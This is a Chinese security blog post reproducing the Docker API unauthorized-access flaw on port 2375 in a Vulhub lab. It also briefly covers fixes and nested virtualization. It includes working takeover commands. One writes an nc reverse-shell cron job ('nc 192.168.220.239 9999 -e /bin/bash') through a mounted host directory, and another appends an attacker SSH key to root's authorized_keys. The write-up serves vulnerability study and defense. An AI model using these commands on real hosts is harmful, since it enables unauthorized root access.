声明:请勿利用本公众号文章内的相关技术、工具从事非法测试,如因此造成一切不良后果与文章作者及本公众号无关! |
和复现其他漏洞一样,习惯先确定漏洞的CVE编号,再查找一些资料,这样学的会更准确点,但奇怪的是Docker API未授权漏洞没找到对应的CVE编号,网上很多的分析文章也没提到。也许本就没有?如果有知道的,评论区告诉我吧
当然这是一个古老漏洞并且被不知道多少人发过文章了,笔者在工作过程中恰好安全工具发现这个漏洞,因为只知其然不知其所以然,因此花半天时间梳理一下,看到很多文章并没有讲清楚是哪里配置错误产生这个问题,那就全面整理一下顺便把其中的知识点记录一下。
目录:
0x01、Docker API的介绍
0x02、配置Docker API未授权环境
-- 默认情况下Docker服务状态
-- 手动配置Docker API未授权环境(踩坑)
-- Vulhub快速搭建Docker API未授权环境
0x03、多种方式漏洞测试
-- HTTP接口/浏览器直接测试
-- docker client命令测试
-- 写计划任务反弹shell
-- 写SSH公钥
0x04、如何修复
0x05、什么是Nested Virtualization?
-- 如何检查硬件CPU是否支持嵌套虚拟化
-- 如何检查虚拟化软件是否支持嵌套虚拟化
0x01、Docker API的介绍
Docker API 是 Docker 引擎提供的API接口,是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,它允许开发者与 Docker 容器引擎进行交互和通信。
通过 Docker API,用户可以执行以下操作:
-
容器管理:创建、启动、停止、删除容器等
-
镜像管理:构建、拉取、推送和删除镜像,以及管理镜像的元数据
-
网络管理:创建、管理和删除网络,以及配置容器的网络连接
-
卷管理:创建、管理和删除数据卷,以便容器可以持久化存储数据
-
监控容器和守护进程状态等等
Docker API 的灵活性使得可以通过编程方式自动化和管理 Docker 容器。开发者可以使用各种编程语言与 Docker 容器引擎交互,从而实现自动化部署、监控和管理容器化应用程序。
但是但是如果管理员对Docker API配置不当可导致未授权访问漏洞,攻击者利用 docker client 或者 http 直接请求就可以访问 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器。
如下图就是安全工具发现的Docker API未授权访问漏洞告警:
0x02、配置Docker API未授权环境
默认情况下Docker服务状态
默认安装完docker并启动docker服务后,它的状态、端口监听如下:
1)docker info 查询docker基本信息,注意最下面没有docker api的关键字
[root@localhost unauthorized-rce]# docker info
Client:
Context: default
Debug Mode: false
Plugins:
buildx: Docker Buildx (Docker Inc.)
Version: v0.10.2
Path: /usr/libexec/docker/cli-plugins/docker-buildx
compose: Docker Compose (Docker Inc.)
Version: v2.16.0
Path: /usr/libexec/docker/cli-plugins/docker-compose
scan: Docker Scan (Docker Inc.)
Version: v0.23.0
Path: /usr/libexec/docker/cli-plugins/docker-scan
Server:
Containers: 0
Running: 0
Paused: 0
Stopped: 0
Images: 3
Server Version: 23.0.1
Storage Driver: overlay2
Backing Filesystem: xfs
Supports d_type: true
Using metacopy: false
Native Overlay Diff: true
userxattr: false
Logging Driver: json-file
Cgroup Driver: cgroupfs
Cgroup Version: 1
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: io.containerd.runc.v2 runc
Default Runtime: runc
Init Binary: docker-init
containerd version: 1e1ea6e986c6c86565bc33d52e34b81b3e2bc71f
runc version: v1.1.4-0-g5fd4c4d
init version: de40ad0
Security Options:
seccomp
Profile: builtin
Kernel Version: 3.10.0-862.el7.x86_64
Operating System: CentOS Linux 7 (Core)
OSType: linux
Architecture: x86_64
CPUs: 2
Total Memory: 1.779GiB
Name: localhost.localdomain
ID: ec2ea5fd-1354-4ab6-a2bc-a6cba9fa5a5a
Docker Root Dir: /var/lib/docker
Debug Mode: false
Registry: https://index.docker.io/v1/
Experimental: false
Insecure Registries:
127.0.0.0/8
Live Restore Enabled: false
WARNING: bridge-nf-call-iptables is disabled
WARNING: bridge-nf-call-ip6tables is disabled
2)netstat -nlpt 查询端口占用,挺正常的,无2375端口
[root@localhost unauthorized-rce]# netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 977/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1235/master
tcp6 0 0 :::22 :::* LISTEN 977/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1235/master
因此默认安装docker后是不会启用docker api的,也就没有这个安全问题。
手动配置Docker API未授权环境
配置文件是:/usr/lib/systemd/system/docker.service
1)先备份配置文件
cp /usr/lib/systemd/system/docker.service /usr/lib/systemd/system/docker.service.bak
2)编辑配置文件,添加如下配置
vim /usr/lib/systemd/system/docker.service
# ExecStart原始配置
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
# ExecStart修改为
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
3)重新启动docker服务
systemctl restart docker
4)再次查看docker的状态
2375端口已经监听:
[root@localhost unauthorized-rce]# netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 971/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1233/master
tcp6 0 0 :::2375 :::* LISTEN 5395/dockerd
tcp6 0 0 :::22 :::* LISTEN 971/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1233/master
docker info已经提示 Docker API 已经可被访问:
[root@localhost unauthorized-rce]# docker info
Client:
Context: default
# 省略...
WARNING: API is accessible on http://0.0.0.0:2375 without encryption.
Access to the remote API is equivalent to root access on the host. Refer
to the 'Docker daemon attack surface' section in the documentation for
more information: https://docs.docker.com/go/attack-surface/
WARNING: bridge-nf-call-iptables is disabled
WARNING: bridge-nf-call-ip6tables is disabled
漏洞验证
http://192.168.220.230:2375/version //查询version
http://192.168.220.230:2375/images/json //列出所有镜像
http://192.168.220.230:2375/containers/json //列出所有容器
http://192.168.220.230:2375/images/json
http://192.168.220.230:2375/containers/json
Vulhub快速搭建Docker API未授权环境(踩坑)
Vulhub漏洞靶场
https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
1)下载并启动Vulhub的unauthorized-rce 靶场
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d
2)漏洞验证(踩坑)
http://192.168.220.230:2375/version //查询version
http://192.168.220.230:2375/images/json //列出所有镜像
http://192.168.220.230:2375/containers/json //列出所有容器
发现并没有列出images,但是明明docker images有images信息:
当时在这里笔者想了很久没想明白,所以笔者就找了上面的手动配置Docker API的方式来测试漏洞。后来想明白了....
3)因为centos主机上的docker和 vulhub unauthorized-rce 并不是同一个东西
逻辑架构图大致如下:
P.S. 至于为啥说逻辑架构,因为docker容器底层知识是很复杂的,并且问了公司的运维大佬,也说不太清楚这种嵌套容器化,所以这块理解可能有偏差:
4)因此在 vulhub unauthorized-rce 容器里再启动一个容器
# 先进入 vulhub unauthorized-rce容器
docker exec -it 6cad951b12e9 /bin/sh
# 确认vulhub unauthorized-rce容器支持docker命令
docker -v
-- Docker version 18.03.0-ce, build 0520e24
# 拉取mongo镜像
docker pull mongo:4.4.6
# 启动mongo容器
docker run -d --name my-mongo -p 27017:27017 61ea
# 查看mongo的镜像和容器
docker images
docker ps
可以看到,vulhub unauthorized-rce容器里面也启动了一个mongo容器,再次通过vulhub unauthorized-rce容器的docker api获取试试:
http://192.168.220.230:2375/version //查询version
http://192.168.220.230:2375/images/json //列出所有镜像
http://192.168.220.230:2375/containers/json //列出所有容器
成功!
0x03、多种方式漏洞测试
HTTP接口/浏览器直接测试
http://192.168.220.230:2375/version //查询version
http://192.168.220.230:2375/images/json //列出所有镜像
http://192.168.220.230:2375/containers/json //列出所有容器
1)通过HTTP请求拉取镜像:
curl -X POST "http://192.168.220.230:2375/images/create?fromImage=redis&tag=latest"
镜像拉取成功:
2)通过HTTP请求创建容器:
curl --location --request POST 'http://192.168.220.230:2375/containers/create?name=my_redis_from_api'
--header 'Content-Type: application/json'
--data-raw '{
"Image": "redis",
"Cmd": ["/bin/bash", "-c", "while :; do sleep 1; done"],
"HostConfig": {
"PortBindings": {
"6379/tcp": [
{
"HostPort": "6379"
}
]
}
}
}'
3)通过HTTP请求运行容器:
curl --location --request POST 'http://192.168.220.230:2375/containers/ac108c8168be/start'
docker client命令测试
1)远程获取镜像和容器列表
docker -H tcp://192.168.220.230:2375 images
docker -H tcp://192.168.220.230:2375 ps
2)远程拉取镜像
docker -H tcp://192.168.220.230:2375 pull hello-worldbr
3)远程进入容器
docker -H tcp://192.168.220.230:2375 exec -it my_redis_from_api /bin/sh
写计划任务反弹shell
模拟通过宿主机上的docker容器api未授权漏洞,通过目录挂载、写计划任务方式完成对宿主机的控制。
1)先查看靶场的images和containers
2)创建 alpine:latest镜像
docker -H tcp://192.168.220.230:2375 pull alpine:latest
3)攻击机nc监听
nc -lvvp 9999
4)运行镜像并将宿主机的系统计划任务目录(/var/spool/cron/)挂载到容器中的/tmp目录下
docker -H tcp://192.168.220.230:2375 run -id -v /var/spool/cron/:/tmp/var/spool/cron/ alpine:latest
5)进入alpine 容器并创建计划任务
docker -H tcp://192.168.220.230:2375 exec -it cedc1fc66a60
echo '* * * * * /usr/bin/nc 192.168.220.239 9999 -e /bin/bash' >> /tmp/var/spool/cron/root
检查下宿主机是否也创建了这样的计划任务:
6)成功反弹到shell
写SSH公钥
模拟通过宿主机上的docker容器api未授权漏洞,通过目录挂载、写SSH密钥对的方式完成对宿主机的控制。
1)攻击机先生成ssh公私钥对
ssh-keygen -t rsa
2)运行 alpine:latest 容器,并挂在宿主机目录
docker -H tcp://192.168.220.230:2375 run -id -v /:/tmp alpine:latest
docker -H tcp://192.168.220.230:2375 exec -it f923a68b3e11 /bin/sh
3)将刚刚生成的公钥写入 authorized_keys 文件
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPLUnIp2AWZ1XM3yGncT+Hny1ksiRLEoHcHqSWIcjs8TIep+kGiJlBimEJB1BM2vbq+T/f5PpWHP7tmwLWp61nX7
p9lA88QQwVGMWYr6JFx9JRd/574HyUzBjuOr9L5vKwnyakqlyx+jVclj2KOdw2ymb99dRX4DY36GLHW1b+C8AYisqNI75LXMPLIX5EhOByafUCWdu5XQ/iY74K8VtOUKA3k1AMi17YgbeyCuHnvyA
DsGHkqgiuuXGIIF1fj3zqJWBUzNXgrZg5xjoUYH2kv22nZw+mra73HxGEkXojLJml429qSDnzRKagoY5MSkvPulI+fTeC79ENpN/ZFcdL root@localhost.localdomain' >> /tmp/root/.s
sh/authorized_keys
4)通过私钥登录靶机ssh
0x04、如何修复
-
关闭2375端口、关闭docker api功能
-
配置访问控制,禁止外部访问2375、docker api功能
0x05、什么是Nested Virtualization?
Nested Virtualization 是指在虚拟机内运行另一个虚拟机,即在虚拟化环境中创建另一个虚拟化环境的能力。这种技术使得在第一层虚拟机中运行第二层虚拟机成为可能,也就是嵌套虚拟化技术。
实现嵌套虚拟化需要硬件和软件的支持。通常,CPU 必须支持虚拟化扩展(如Intel的VT-x或AMD的AMD-V),并且虚拟化软件(如VMware、VirtualBox等)也必须支持嵌套虚拟化。
如何检查硬件CPU是否支持嵌套虚拟化
查看方法如下图,按下 Windows + R 打开运行对话框,输入 msinfo32 回车,在系统信息窗口中,找到处理器信息,看是否包含如 Intel 的 VT-x(Intel Virtualization Technology)或 AMD 的 AMD-V(AMD Virtualization),否则就不支持嵌套虚拟化,如下图笔者电脑是不支持的:
如何检查虚拟化软件是否支持嵌套虚拟化
以VMware为例,查看方法如下图,选择一个虚拟机--设置--硬件--处理器--虚拟化引擎,如果勾选了“虚拟化 Intel VT-x/EPT 或 AMD-V/RVI(V)” 就表示VMware软件开启了嵌套虚拟化。
经过这次的学习,打破了笔者之前以为的虚拟化技术或者容器技术是不能嵌套的观念,特别是虚拟化技术如VMware,一直以为是理论上不可能实现的,f也不知道以前从什么文章得出的结论,感谢这次的学习,长见识了。
虽然只是一个小漏洞的复现,但是在复现过程中,笔者还是学到了一些知识,后续有时间会更多地一些典型漏洞。
原文始发于微信公众号(安全随笔):一篇文章搞懂Docker API未授权漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论